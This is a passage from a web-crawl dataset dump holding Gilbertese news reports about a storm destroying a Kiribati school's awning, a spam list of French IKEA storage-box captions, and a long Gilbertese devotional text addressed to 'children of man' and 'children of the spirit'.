mwanenakia iroun te tautaeka na ron te mwaneaba, te gym ao tabeua riki.\nE koro bukin ana kataunari te komete n te Ex KGV\/EBS n aia karikirake n te wiki ae nako.\nE teke ana takete te komete n ana Ex KGV\/EBS imwin karaoan ana dance nikarikirake are e karaoai n tairikin te kanimabong ae nako n te Seaman I Betio.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2012\/08\/31\/e-koro-bukin-ana-kataunari-te-komete-n-te-ex-kgvebs-n-aia-karikirake-n-te-wiki-ae-nako\/","date":"2017-10-18T14:45:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00108.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":321,"character_repetition_ratio":0.079,"word_repetition_ratio":0.128,"special_characters_ratio":0.216,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Ni korakoran te karau are e orea aon Tarawa Teinanno ma Betio ni moaningabongin te Kabong 5\/7\/1012 ao e a ranganko ana auti ni katantan te reirei ae kGV\/EBS ni matoan te anga ma te karau n te bwakantaai anne.\nE taekinna Tekana Tebuatei ao Makin Nauto taan tia reirei n reirein te tautaeka ae KGV\/EBS bwa aki kantaningaia ae e na ubanako aia auti ni kabane ni katukiia angiia kaain aaana iaan te karau. E reitia riki n taekinna ma rotorotona n te karau Teekana bwa e bwakaraki n te kaibiti are e nim ma te awning aio bwa bouana are a mena iaana ao ni kamatoa bwa e bon tinebu te kaibiti aio ma ngke arona bwa e bubura riki ao tao e na bon korakora mwina nakoina. Te bwai ae riki bwa ni mwemweraken te awning ao a mrara naba bouana ake kaibiti n raai nako ao man bwaka ni bwakariia kaain aan te awninig,angiina ataei n te reirei aio ao ikanne are e a kibarake naba te awnig ae bubura aio ao man tararake i akuia ataei ma kaain te reirei aio. A bon bane ni kionako ma iaana ma bon akea naba aia anga ni birinako ni katania man te karau bwa are e bon rangi ni korakora te karau n te tai anne. Kanaaia ma nimaia ao aia bebwa aika a kakawaki a bon bane n uanikarau naba irarikia kaain te reiei aio. E a manga okira arona n tei te awning aio 40 te miniti imwina n arona naba arei n akea katinebuana.\nTe awning aio e bon ti tei iaon tano n akea naba katinebuana ao man akea naba ana beke ke kaibiti ake a na nim nako aontano ibukin totokoan kaangaanga n aron aikai. Reirei ake tabeua a bon aki rotaki riki ngkai a bon tan man te karau ao korakoran unin te ang n aron are e reke iroun KGV\/EBS. Ana tabo te reirei ae KGV\/EBS e bon kaitara raoi ma unin te ang bwa e tei ma i tabon te marae ni butiboro nako Betio. Raon te reirei aio ni mena n te tabo anne bon te reirei ae St Patrick are e bon aki rotaki n te kabuanibwai aio.\nAngia reirei ake nikiraia a bon bane n tiku n rau iaan aia awning riki te reirei ae MHS ngkai e bon kakouaki bwa e matoatoa ana awning are a mena iaana bwa a bon tikirua ana roobu ritabon nako ana awning ni bae ao man nim ni matoatoa nako aontano.\nN te maroro (tebongina imwain te takakaro)ma temanna te tia mwakuri (carpenter KGV\/EBS) are a tabeakina aron katean ana auti ni katantan te reirei aio KGV\/EBS ao e bon kamatoa n taekinna bwa e na bon akea te kangaang nakon te auti nakon te tai anne n aki ataia are e na roo karawa ao man matoa te ang nakon te bong are imwina.\nNi banen kanoan te bong anne ao e bon aki manga ubaranko ana auti te reirei aio bwa are e karako te ang ao te karau. Te katautau bwa e n tauraoi te reirei aio ni kaitarai aekan kanganaga aikai ngkana arona bwa e a manga kuba ni kaoti nakon ana kabanea n aitara ma reirei ake tabeua nakon te kanimabong ae ningabong.\nE ubaranako ana auti ni katantan KGV\/EBS n te Inter school\nNi korakoran te karau are e orea aon Tarawa Teinanno ma Betio ni moaningabongin te Kabong 5\/7\/1012 ao e a ranganko ana auti ni katantan te reirei ae kGV\/EBS ni matoan te anga ma te karau n te bwakantaai anne.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2012\/07\/05\/e-ubaranako-ana-auti-ni-katantan-kgvebs-n-te-inter-school\/","date":"2017-11-23T09:10:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00756.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":597,"character_repetition_ratio":0.075,"word_repetition_ratio":0.102,"special_characters_ratio":0.217,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"boite tiroir ikea skubb bo 238 te tiroir ikea\nboite tiroir ikea sl 196 kting bo 238 te tiroir ikea\nboite tiroir ikea skubb bo 238 te tiroir ikea\nboite tiroir ikea skubb bo 238 te tiroir ikea\nboite tiroir ikea boite rangement ronde ikea ciabiz\nboite tiroir ikea stuk bo 238 te tiroir ikea\nboite tiroir ikea stuk bo 238 te tiroir ikea\nboite tiroir ikea boite rangement tiroir avec en plastique pour mulchbrothers\nboite tiroir ikea boites rangement commode\nboite tiroir ikea mimitoile et les rangements mimitoile bijoux etc\nboite tiroir ikea boite de rangement plastique pas cher rangement plastique\nboite tiroir ikea rangements liberty dame d\nboite tiroir ikea boite a bijoux ikea marmarasesegitimi\nboite tiroir ikea kusiner bo 238 te tiroir ikea\nboite tiroir ikea 46 ides dimages de boite rangement castorama\nboite tiroir ikea boite rangement plastique leroy merlin avec ikea bloc\nboite tiroir ikea 10 nouveau caisson de rangement ikea banc bout de lit\nboite tiroir ikea rangement color 233 chez ikea pour la rentr 233 e ikeaddict\nboite tiroir ikea ikea caisse plastique frais boite a pharmacie ikea fashion\nboite tiroir ikea gallery of excellent exemples de rangement boite lofty ud\nboite tiroir ikea tiroir rangement\nboite tiroir ikea simple boite plastique tiroir meilleur cosmtique bijoux\nboite tiroir ikea ikea rangement boite ikea boite a cle les 18 l gant\nboite tiroir ikea une boite 224 9 tiroirs l atelier de chry les\nboite tiroir ikea caisse de rangement leroy merlin zi67 jornalagora\nboite tiroir ikea boite tiroir ikea\nboite tiroir ikea dr 214 na bo 238 te tiroir clair ikea\nboite tiroir ikea caisse de rangement empilable gallery of boite de","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/ctiffindesigns.com\/boite-tiroir-ikea.html","date":"2019-03-24T05:11:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203326.34\/warc\/CC-MAIN-20190324043400-20190324065400-00396.warc.gz","language":"gil","language_score":0.7590447664,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.7590447664260864, \"asm_Latn_score\": 0.14827361702919006, \"syl_Latn_score\": 0.02777203544974327}","num_words":262,"character_repetition_ratio":0.308,"word_repetition_ratio":0.071,"special_characters_ratio":0.197,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.759,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Return\nFacebook\nZip File\nNATIN TE TAMNEI O!\nAu moa n reirei bon aei: Bwaina te nano ae e itiaki, n aakoi ma n oota, bwa e aonga n riki Ueam ae mangkoa, ae e teimatoa n aki tootoki.\nNATIN TE TAMNEI O!\nTe bwai ae moan te tangiraki i Matau i buakon bwaai ni kabane bon te Motiraoi; tai tannako mai iai ngkana ko Tangirai, ao tai kaakeaa taekana bwa I aonga ni kaongoko. Ao n ana ibuobuoki ko na noraaba ni bon oin matam ao tiaki rinanon mataia tabemwaang, ao ko na ataibwai ni bon oin rabakaum ao tiaki rinanon rabakauia kaain rarikim. Iangoa aio i nanom; e na kanga arom ae riai. Ni koaua te motiraoi bon Au bwai n tangira nakoim ao kanikinaean au tangira n aakoi. Kateia ngkanne i matam.\nNATIN TE AOMATA O!\nN rabunaki i nanon Aroarou ae aki kona n uringaki ao i nanon taai ake ngkoangkoa n aki tootoki n oin Arou, I ataa Au tangira i bukim; ai ngaia are I karikiko, I a tia ni korea i aom Bannau ao ni kaota nakoim Tamaroau.\nNATIN TE AOMATA O!\nI tangira am karikibwai, ai ngaia are I karikiko. I bukin aei, ko na Tangirai, bwa I aonga n ingoaniko ao ni kaona tamneim n te tamnei ni kamaiu.\nNATIN AE MAIU O!\nTangirai, bwa I aonga n tangiriko. Ngkana ko aki tangirai, e na bon aki kona n rootiko Au tangira. Ko na ataa aio, O ngkoe Au toro.\nNATIN AE MAIU O!\nAm Bwaretaiti bon Au tangira; mwengam i karawa, bon manga okim Nakoiu. Riin iai ao tai baenikai. Bon aei te baere e a tia ni katauaki i bukim i nanon Ara abanuea i eta ao Ara tautaeka ae rietaata.\nO NATIN TE AONAABA!\nNgkana ko Tangirai, ao kaakea arom i bon iroum; ao ngkana ko ukoukora Kukureiu, tai tabe ni mwannanoa nanom; bwa ko aonga ni mate Irou ao I aonga ni maiu ma ngkoe n te maiu ae akea tokina.\nNATIN TE TAMNEI O!\nBon akea te rau iroum ma ti ngkana ko kaakiko ao ko rairaki nakoiu; bwa e riai i bukim bwa ko na mimitong i nanon Arau, tiaki i nanon aram; ni kawenea am onimaki Irou ao tiaki i nanom, kioina ngke I tangiria bwa Nna tangiraki n ti Ngai ao I aon bwaai nako.\nNATIN AE MAIU O!\nAu tangira bon Au nono; are e rin iai e mano ao n rau, ao are e tannako mai iai i koaua e na bon bua ao ni mate.\nNATIN TE TAEKA O!\nBon Ngkoe Au nono; riin iai bwa ko aonga n tiku n rau. Ataia, bwa are i nanom Au tangira, bwa ko aonga ni Kuneai ni kaan nakoim.\nNATIN AE MAIU O!\nBon ngkoe Au taura ao Ootau ane iroum. Karekea ootam mai iai ao tai ukoukora riki temanna i Rarikiu. Bwa I a tia ni karikiko ni kaubwai ao I a tia ni karaanga nako aom Au bwaintituaraoi.\nNATIN AE MAIU O!\nI karaoiko ni mwaakan Baiu ao ni korakoran Tabonibaiu I karikiko; ao I a tia ni kawenea oin Ootau i nanom. Rauaki iai ao tai manga ukeaaba, bwa Au mwakuri e kororaoi ao e kabaebae au kaetieti. Tai titiraki bukina, ke ko nanokokoraki iai.\nNATIN TE TAMNEI O!\nI karikiko ni kaubwai, ao bukin tera ngkai ko a uotiko rikaaki nakon te kainnano? I karaoiko ni kakannato, e aera ngkai ko a kamangoriko i bon iroum? Man oin te ataibwai I anganiko te maiu, e aera bwa ko ukoukora kaotaam mairoun temanna riki i Rarikiu? Man tanon te tangira I buaiko; ko kangaa ni katabeaiangako riki ma temanna? Taraiko i bon iroum bwa ko aonga ni kuneai n tei i nanom, ni mwaaka, ni korakora ao ni maiu i bon irouna.\nNATIN TE TAMNEI O!\nBon au tautaeka ngkoe ao Au tautaeka e aki mamauna, e aera ngkai ko maaka maunam? Bon Ootau ngkoe ao Ootau e aki mamate, e aera ngkai ko maaka te mate? Bon Mimitongiu ngkoe ao Mimitongiu e aki raarai; bon Au kamwarai ngkoe ao Au kamwarai e aki kona ni mane. Tiiku ngkanne n am tangira i Bukiu, bwa ko aonga ni Kuneai i nanon te abanuea ni mimitong.\nNATIN TE TAEKA O!\nRaira matam Nakoiu ao kaaki taekan bwaai nako bwa ti Ngai; bwa Au tautaeka e teimatoa ao Ueau e aki mamauna. Ngkana ko ukoukora temanna riki i Rarikiu, eng, ngkana ko teteimatoa ni ukeaaba te uniweeti, am ukeuke e na bon aki uaana.\nNATIN TE OOTA O!\nMwaninga bwaai nako ma bon ti Ngai ao matanria ma Tamneiu. Bon aio raoi oin Au tua, mangaia are rairaki nako iai.\nNATIN TE AOMATA O!\nRauaki Irou ao n aki ukoukora te tia ibuobuoki riki temanna. Bwa akea bwa bon ti Ngai ae e kona n tau i bukim.\nNATIN TE TAMNEI O!\nTai butiai te baere Ti aki kaantaninga i bukim, an rauaki naba n are Ti a tia ni motikia i bukin arom, bwa bon ngaia te bwai ae e na raka iai arom, ngkana ko karauakiko iai\nNATIN KAMIMIIN TE NORAABA O!\nI a tia ni ikeike nako nanom n ikeiken oin Tamneiu, bwa ko aonga n riki bwa tia Tangirai. Bukin tera ngkai ko a Kaakeaai ao ko a kakaaea am tangira riki temanna i Rarikiu?\nNATIN TE TAMNEI O!\nBwainakim Irou e rangi ni korakora, e aki kona ni mwanuokinaki. Au bwai n tituaraoi nakoim e rangi n takaburinako, e aki kona n rabunaki. Au tangira e a tia ni karaoa mwengana i nanom, e aki kona ni karabaaki. Au oota e teretere raoi nakoim, e aki kona ni maabubu.\nNATIN TE AOMATA O!\nI aon te kai ae e raneanea n te mimitong I a tia ni katinei i bukin uaa ni kai ake a bane rinoaia, ao e aera ngke ko a tannako mai iai ao ko a katabeko ma ake a aki bati n raraoi? Ooki rikaaki ngkanne nakon are e tamaroa riki i bukim i nanon te abanuea are i eta.\nNATIN TE TAMNEI!\nI a tia ni karikiko n toronaomata, e ngae n anne ko a kamangoriko. Teirake ngkanne nakon are ko karikaki i bukina.\nNATIN AE RIETAATA O!\nI weteiko nakon ae akea tokina, e ngae n anne ko ukoukora are e kakai mauna. Tera ae e katannakoko man Ara kaantaninga ao ko ukoukora ae bon nanom?\nNATIN TE AOMATA O!\nTai riaon are katauam, ke ni kan bwaina are e aki tau i bukim. Aroriko i matan Atuam, Uean te mwaaka ao te korakora.\nNATIN TE TAMNEI O!\nTai kamoamoako i aon te kainnano, bwa I kairiiria i aon kawaina ao I nooriko i nanon kangangan am kaairua ao I kabooa baam n aki toki.\nNATIN AE MAIU O!\nKo kanga ni kona ni mwaninga am kaairua ao ko katabeko ma aia kaairua tabeman? Ane e kakaraoa aei e na kamaraiaki Irou.\nNATIN TE AOMATA O!\nTai ikeiken aia bure tabemwaang ngkai bon tia bure naba ngkoe. Ngkana ko riaon te tua aei, ko na maraia, n aei I kaotia ma te koaua.\nNATIN TE TAMNEI O!\nKo na ataia bwa te koaua; Bwa are e a kairiia aomata nakon ae eti ao ngaia bon boton te buaakaka bon tiaki Mairou, e ngae ngke e uota Arau.\nNATIN AE MAIU O!\nTai kabuakaka temanna n te baere ko bon aki kan kabuakakaaki iai, ao tai tataekina te baere ko aki kan kakaraoia. Aio Au tua nakoim, an ira nanona ngkoe.\nNATIN TE AOMATA O!\nTai rawa iroun Au toro ngkana e Butiiko te bwai teuana, bwa moamoana bon Moau; ko na maama i Matau.\nNATIN AE MAIU O!\nTau mwiin aroaron n te bong ae koraki i mwaain teweam nakon te kaitira; bwa e na roko te mate, ni kakubako, ao ko na weteaki bwa ko na kaotaa bukin nako am mwakuri.\nNATIN AE RIETAATA O!\nI a tia ni karaoa te mate bwa te tia uarongorongo ae e kakukurei nakoim. E aera ngkai ko a kananokaawaki? I karaoa te oota bwa e na ruoniko tamaroana. Bukin tera ngkai ko a rabuniko mai iai?\nNATIN TE TAMNEI O!\nMa rongorongon te oota ae e kakukurei i butimwaiko ma n taku: Kimwareirei! I kaooko nako matan ae e tabu: tiiku i nanona bwa ko aonga ni maeka i nanon te rau n aki toki.\nNATIN TE TAMNEI O!\nTamnein ae tabu e uota nakoim te rongorongo ae kakukurei i bukin te manga katiteuanaaki; e aera ngkai ko nanokaawaki? Tamnein te korakora e kateimatoako i nanon Ana waaki; e aera ngkai ko a karabako? Ootan Moamoana e kaririko; ko kangara n tibanako?\nNATIN TE AOMATA O!\nTai kananokaawakiko bwa ti ngkana ko raroa nako Mairoura. Tai kimwareirei ti ngkana ko a roko ni kaan n Okiriira.\nNATIN TE AOMATA O!\nKimwareirei i nanon kukurein nanom, bwa ko aonga n tau ni kaitibo ma Ngai ao ni kaotaa nako Tamaroau.\nNATIN TE AOMATA O!\nTai buuta mai i aom Au kamwarai ae e tamaroa, ao tai tuuka tibwangam man Au koburake n ran ae e kamiimi, bwa ko rawa n ae ko a bon taataka nako naba.\nNATIN AE MAIU O!\nNakonako n Au tua i bukin Tangirau ao tuukiko man tangiran te baere ko tangiria ngkana ko ukoukora Kakukureiau.\nNATIN TE AOMATA O!\nTai kaaki Au tua ngkana ko tangira Tamaroau, ao tai mwaninga Au reirei ngkana ko kan karekea Kukureiu.\nNATIN TE AOMATA O!\nE ngae ngke ko kabutimwaakako n ri buakon buburakaein te tibeiti ao n tia naba ni kabuta rababan karawa, e na bon aki reke naba motirawam bwa ti n te Ongotaeka nakon ara tua ao te nanorinano i Matara.\nNATIN TE AOMATA O!\nKatanoataa Au Waaki bwa I aonga ni kaota nakoim kamimiin Kakannatou ao ni kaotaa nako aom te oota ae akea tokina.\nNATIN TE AOMATA O!\nKamangoriko i Matau, bwa I aonga ni kataua kawaram. Teirake i bukin kanakoraoan Au Waaki, ngkai ko bon mena i aon te aba bwa e na kona n reke iroun te tokanikai.\nNATIN AE MAIU O!\nMwaneweai i aon Au aonaaba, bwa I aonga n Uringko i nanon Au karawa, bwa aonga ni karauaki Matau ma matam.\nO NATIN TE KAINTOKANUEA!\nKakauongom bon au kakauongo, kakauongo ngkanne iai. Noraabam bon Au noraaba, taratara ngkanne iai, bwa i nanon kabin tamneim ko na kona ni kakoaua rietaatan Arou ae tabu, ao Ngai i Nanou Nna kona te kakoauaa rietaatan te karinan i bukim.\nNATIN AE MAIU O!\nKataua te mate ni maritire ni Kawaiu, rauaki n Au kukurei ao n rangi ni karabwarabwa i bukin are I a tia ni baaireia, bwa are ko aonga iai ni motirawa ma Ngai i aan taubukin te kakannato i akuun te umwanrianna ae e mimitong.\nNATIN TE AOMATA O!\nIangoia ao katautaua. Bon nanom bwa ko na mate i aon am kainiwene, ke ni katuua raraam i aontano, ni maritire i nanon kawaiu, ao n riki bwa te tia kaotioti i bukin Au tua ao te tia katereterea Au oota i nanon te Baretaiti ae kabanean te rietaata? Motika nanom raoi, ngkoe te toro!\nNATIN TE AOMATA O!\nN raoiroiu! Kabiran iran atuum n raraam e rangi ni kakannato i Matau nakon karikan bwain karawa nako ao te oota i bukin aonaaba aika uoua. Kekeiaki ngkanne bwa ko aonga ni karekea aei, ngkoe te toro!\nNATIN TE AOMATA O!\nI bukin bwaai ni kabane bon iai te kanikina. Kanikinaean te tangira bon te ninikoria i aan Au moti ao te taotaonakinnano i aan Au kataitai.\nNATIN TE AOMATAO!\nTe tia tangira ni koaua e ingainga nanona i bukin te kanganga n ai aron ae e karaoia te tia aki ongeaaba i bukin kabwaraan ana bure ao te tia burerawawata i bukin nanoangaeak\nNATIN TE AOMATA O!\nNgkana e aki bwakariko te karawawata i nanon Kawaiu, ko na kanga n nakonako ni kawaiia naake a rauaki ni Kukureiu? Ngkana a aki rootiko kataitai ni kani kaaitiboom ma Ngai, ko na kanga n roota te oota n am tangira i bukin Tamaroau?\nNATIN TE AOMATA O!\nAu kabuanibwai ae korakora bon Au bwai n tituaraoi, tinanikuna bon te ai ao te karekekai, ma nanoaana bon te oota ao te nanoanga. Ienikuriiko nako iai bwa ko aonga n riki bwa te oota ae akea tokina ao te tamnei ae e aki maamate. Aio bon Au kaetieti nakoim, an ira nanona.\nNATIN TE AOMATA O!\nNgkana e bwakariko te tekeraoi tai kukurei, ao ngkana e tokariko te tekebuaka, tai bwaebwaeti, bwa ni kauoua a na mauna nako ao a na akea riki.\nNATIN AE MAIU O!\nNgkana e roko te kainnano iroum, tai nanokaawaki; bwa ane e na roko iroum n te taina Uean te kaubwai. Tai maaka te mangori, bwa te mimitong ane e na wene i aom n te bong teuana.\nNATIN AE MAIU O!\nNgkana mamaten nanom te tautaeka ae akea moana ma tokina, aei, ao te maiu aei are mangkoa ao akea tokina, an biritana te tautaeka ae e maamate ao ae e kakai mauna nako.\nNATIN AE MAIU O!\nTai katabeaiangako ma te aonaaba aio, bwa n te ai Ti kataa te koraa, ao ma te koora Ti kataiia Ara toro.\nNATIN TE AOMATA O!\nKo tatangira te koora ao I tangira inaomatam mai iai. Ko taku bwa ko a rangi ni kaubwai n rekena iroum, ao I kina kaubwaim ao katabuam mai iai. Ni maiu! Bon aio Au rabakau, ao anne bon am katautau; e na kangaa ni bootau Kawaiu ma kawaim?\nNATIN TE AOMATA O!\nAnga nako aoia au kainnano Au kaubwai, bwa ko aonga ni karekei man titoa aika aki tae tamaroaia ao kaubwaia aika a aki mamauna mimitongiia i karawa. Bwa ni Maiu! Te angarake tamneim bon te bwai ae mimitong riki ti ngkana ko kona n nooria ni Matau.\nNATIN TE AOMATA O!\nTe tembora n rabwata bon Au kaintokanuea; kaitiakia man bwaai nako, bwa I aonga n teimatoa iai ao I aonga ni mamaeka iai.\nNATIN AE MAIU!\nNanom bon Mweengau; katabua i bukin Ruou. Tamneim bon Au tabo ni kaotioti; kaitiakia i bukin Kaotiotau.\nNATIN TE AOMATA O!\nKarina baim i nanon Bwanibwaniu, bwa I aonga ni kona n rierake i aom, n raneanea ao n raitiiti n oota.\nNATIN TE AOMATA O!\nRierake nakon Au karawa, bwa ko aonga iai ni karekea kukurein te manga kaaitibo, ao man mwangkon te mimitong ae e aki maamate katoka takam n te wain ae akea n ai arona.\nNATIN TE AOMATA O!\nA mwaiti boong aika a tia n riaom ma ko katabeko ma am iango ake ko bon taku ao katautau aika akea uaaia. Maanra riki am tai ni matuu i aon am kai ni wene? Tabeka atuum man mwanioniom, bwa e a tawanou taai, tao e na kaootako ma ootan te tamaroa.\nNATIN TE AOMATA O!\nE a tia oti i aom am oraitanin te Maunga ae tabu ao te tamnei ni kaotaota e a tia n ikeike i nanon Tiinain nanom. Mangaia are, kamwaawako man katautau ma iango aika akea maneia ao kaaraki tei i Matau, bwa ko aonga n tau nakon te maiu ae akea tokina ao n taubobonga raoi ni kaaitibo ma Ngai. N aron aei e na aki kona n roko iroum te mate, ke te kua ma te kanganga.\nNATIN TE AOMATA O!\nAu aki-tootoki bon Au karikibwai, I a tia ni karikia i bukim. Karekea bwa niiran am tembora. Au katiteuana bon Au arinibai. I a tia ni karaoia i bukim; kunikaiko iai, bwa ko aonga n riki n aki tootoki bwa te tia kaotiota Arou ae akea tokina.\nNATIN TE AOMATA O!\nKakannatou bon Au bwaintangira nakoim, ao Rietaatau bon kaotan Au atataiaomata nakoim. Bwa te baere e tau i Bukiu akea ae e na ataia, ke ni kona n taekinna temanna. I a bon tia ni kaawakinna i nanon Batau ake a raba ao i nanon bwaron Au kaetieti, bwa kanikinaean Au moamoaaomata nakoia Au toro ao Au atataiaomata nakoia Au aomata.\nATAEIN TE OI N TAMNEI AE AKEA RABWATANA O!\nAne kam na tuukaki man Tangirakiu ao tamnei a na aki rau nanoia ngkai a karaoa mwaneweakiu. Bwa iango a aki kona n Raweai ke naano ni kona ni Kamaekaai.\nNATIN TE TAMAROA O!\nN Tamneiu ao n Au bwai n akoi! N Au atataiaomata ao n Tamaroau! Bwaai ni kabane ake I a tia ni kaotia nakoim n te newe ae e korakora, ao n tia ni koreia i bukim n te kai ni koroboki ae e mwaaka, a bon katauaki nakon konabwaim, tiaki n Aroarou ao n tangin Bwanaau.\nNATIIA AOMATA O!\nKam aki ata bukina ngke Ti kariki ngkami ni kabane man te tano ae ti te arona? Bwa akea ae e na karietaata iaon temanna. Karaua n iangoia n taai nako i nanom bwa e kangara aron karikami. Ao ngkai Ti a tia ni kariki ngkami ni kabane man te tano ae ti te aekana e riai iroumi bwa kam na riki n ai aron te tamnei ae ti teuana, bwa kam na nakonako ni waae aika ti taboo, n amwarake n ti tewiina ao ni maeka n te aba ae ti te abana, bwa are man kabin nanomi, man aroaromi ao n ami beku bwa aonga ni kaoti kanikinaean te katiteuanaaki ao oin kamwawaan bwaai. Bon anne Au reirei bwa kam aonga ni karekea uaana ae e tabu man kain te mimitong ae e kamiimi.\nNGKAMI NATIN TE TAMNEI O!\nBon nnen Au kaubwai ngkami, bwa i nanomi I a tia ni nnei momiin Au kamiimi ao atiibu aika a kakaawaki man Au ataibwai. Kamanoi mairouia ianena i buakoia Au toro ao mairouia naake aki onimakina Te Atua i buakoia Au botannaomata.\nNATIN TEUARE E TEI I BON BUKINA I NANON OIN ABANUEANA O!\nKo na ataia, bwa I a tia ni ikenna nakoim boiararan nako te katabuaki, I a tia ni kaoti raoi nakoim Au taeka ni kabane, I a tia ni katamaroai rinanom Au kakabwaia ao I a tia n rineia i bukim are I a tia n rineia i bon Bukiu. An rauaki n Nanou ao ni kaaitau Nakoiu.\nNATIN TE AOMATA O!\nKorei ni kabane ake Ti a tia ni kaotioti nakoim ni kanan te kai ni koroboki ae e oota i aon buatuan tamneim. Ngkana akea ni korakoram, ao karaoa ngkanne kanan am kai ni koroboki ma oin nanom. Ngkana ko aki kona ni karaoa naba aei, ao ani koroboki ni kanan te kai ni koroboki ae toka uraurana are e a tia ni kabwaroaki i nanon Kawaiu. E karewe riki aei Irou nakon bwaai ni kabane, bwa e aonga n oota ootana n aki toki.\nO NGKAMI AOMATA AIKA IAI AIA IANGO N ATAIA AO TANINGAIA N ONGO!\nAna moa ni weewete Teuare E tangiraki bon aei: O ngkoe te naitengkare n tamnei! Tai tiku n te tabo teuana ma ti n onarokan te rooti n tamnei. O ngkoe Ana tia uarongorongo n tangira Toromon! Tai ukoukora te kamanomano teuana ma ti iroun Tiebwa are te rangi n tangiraki, ao ngkoe te binikiti ae akea rabwatana! Tai maeka n te tabo teuana ma ti ni maungan te kakaonimaki. Are i nanon am tabo ni maeka, bwa tao i aon bainikiban nako tamneim are ko kiba iai nakon abanuean te tamnei ao ni ukoukora karekean am kouru.\nNATIN TE TAMNEI O!\nE ukoukora ngaona te mannikiba; naitengkaren tamaroan te rooti; ao mannikiba akekei, nanoia aomata, a kakanoa ma bubuntano aika a taonnako, a bon tia ni kararoaiia man ngaoia aika akea tokiia, ao a rairi mataia nakon matoatoan te aki tatabeakin are a kamwawaaki ni mimitongin te kaaniaki n tamnei. Ngaia are! Ai kaminora ma ni kanokaawaki; bwa te mwangko ae e on n akea nanona, a bon tia n rairaki nako man naon marawan te Kabanea n Rietaata, ao n tiku n raroa man te oraitan ae raneanea.\nO NGKAMI RAAO!\nTai unika te bwai teuana i nanon onarokan nanom ma ti te rooti n tangira, tai kamatanaa am tautau man Naitengkaren te itangitangiri ao te tangiraki. Nabenabea te iraorao ma naake a etieti ao kaaki te itoman ma naake a bubuaka.\nNATIN TE MOTIRAOI O!\nTe tabo ra are e na nako iai te tia tangira ma bon nakon te tabo are e mena iai ana tangira? ao teraa ae e kunea te tia ukeuke n nanona are e tangiria? Iroun te tia tangira ni koaua te manga bootaki bon te maiu, ao te karaureaki nako bon te mate. Bon akea te taotaonakinnano ni bwanibwanna ao akea te rau i nanona. E na bon kitan maiu aika bati ao ni kawaekoa nakon te tabo are e mena iai ana tangira.\nO NATIN TE BUBUNTANO O!\nNi koaua I taku nakoim: Te kabanea n aki tatabeakin i buakoia aomata bon are e kauntaba n akea te bwai ae karaoia ao e ukoukora karakaa arona i aon tarina. Atongnga, O ngkami taari! Kariki ami mwakuri, ma tiaki taeka, ake a na riki bwa katamaroaami.\nO NATIN TE AONAABA!\nAtaia, ni koaua, bwa te nano are e mena iai maeran te kakaiwi ao e iremwe ni kamwaawa, e na bon aki karekea Au tautaeka ae akea tokina, ke n ikena karewen te boiarara ae tabu are e ikenaki man Au abanuea ae mimitong.\nNATIN TE TANGIRA O!\nAi bon ti teuana te rangata raroam man rietaata ake a mimitong i eta ao man te kai ni karawa n tangira. Tabeka am rangata teuana ao waakim are i mwiina bon nakon te abanuea ae akea rabwatana ao riin ni umwan te aki tootoki. Anga taningam ngkanne nakon are e a tia ni karuoaki iroun kainikorobokin te mimitong.\nNATIN TE MIMITONG O!\nKataweko i nanon kawain te taburoroko, ao riin ni karawan te itoman ma Ngai. Kaitiaka nanom ma ana bwai ni karaneanea te tamnei, ao kawaekoa nakon Ana botaki te Kabanea n Rietaata.\nWAAKIN TE NU O!\nNi waaki riaon boton karinanin nako te nanokokoraki ao n eutaki nakon rietaatan nako te koaua. Kauka te mata ae koaua, bwa ko aonga n noora te Tamaroa ae e aki rabunaki ao n atonga aei: Te Uea ae Tabu, te Kabanea n Tamaroa i buakoia karikibwai nako!\nO NATIN TE KAINNANO!\nAnga taningam nakon aei: E bon aki kona te mata n rabwata ni kina te tamaroa ae akea tokina, ke te nano ae mate bwa e na kukurei n te aakea ma ti ni ue aika a rai. Bwa are aekakina e bon ukoukora are aekana, ao ni kukurei ni botaki ake bon aekakina.\nO NATIN TE BUBUNTANO!\nKamataki matam, bwa ko aonga n noora Tamaroau; kaini taningam, bwa ko aonga n ongo tangiraoin Bwanaau; kaikiko man rabakau nako bwa ko aonga ni karekea tibwangam man Rabakau, kamimitongko man taian kaubwai bwa ko aonga ni karekea te tibwanga man marawan Kaubwaiu are akea tokina. Kamataki matam, man bwaai nako bwa ti i bukin Tamaroau; kain taningam nakon bwaai nako ma ti Au taeka; kaikiko man rabakau nako ma ti n Rabakau; bwa ma te taratara ae itiaki, te nano ae kororaoi ao te taninga ae kakauongo raoi bwa ko aonga n rin n Au bootaki ae tabu.\nO NGKOE TE AOMATA AE UOUA ANA TARATARA!\nKaina matam teuana ao kauka are teuana. Kaina are teuana nakon te aonaaba ao bwaai ake i nanona, ao kauka are teuana nakon tamaroan Teuare E tangiraki are tabu.\nO NGKAMI NATIU!\nN na rangi n nanoanga, ngkana kam kamwawaaki man tangin bwanaan te taobe ni karawa, bwa ane kam na iinako rikaaki nako aan nuun te bua ni koaua, ao, n aki kona n taraa tamaroan te rooti, okirikaaki nakon te ran ao te tano.\nO NGKAMI RAAO!\nTai kaaki te tamaroa ae akea tokina i bukin te tamaroa ae e kai mate, ao tai katea tangiran te aonaaba n rabwata ae te bubuntano.\nNATIN TE TAMNEI O!\nE na roko te tai, ngkana te naitengkare 